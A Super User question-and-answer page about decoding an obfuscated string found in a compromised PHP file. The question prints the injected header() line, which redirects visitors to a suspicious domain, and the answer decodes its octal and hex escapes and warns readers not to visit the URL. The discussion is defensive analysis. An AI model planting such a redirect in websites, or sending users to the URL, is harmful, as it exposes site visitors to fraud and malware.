Super User is a question and answer site for computer enthusiasts and power users. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I found some base64 encoded text in a compromised php file. When I decoded the base64 string, it was the following directive:

header("R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"");

What kind of encoding is that URL string? I thought hex initially, then ascii, but its variable length. I did google, but to no avail. Can someone point me in the right direction?

share|improve this question

Warning:

The below URL comes from a compromised website.

Visiting it benefits the attacker financially and might harm your computer.

The string means

Refresh: 25; url="http://fcbarcelonadodocom.info/uk"

\145 is code point 145 (octal), \x66 is code point 66 (hexadecimal).

To verify:

  1. Execute

    php
    
  2. Type

    <?php
        echo "R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"";
    ?>
    
  3. Press Ctrl + D.

share|improve this answer
    
I also tried the string in Python, which printed the same thing. Just as an alternative option for the OP. (Just var = "R\145\x66..." and print(var) in IDLE or wherever). – nerdwaller Mar 24 '13 at 22:20

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .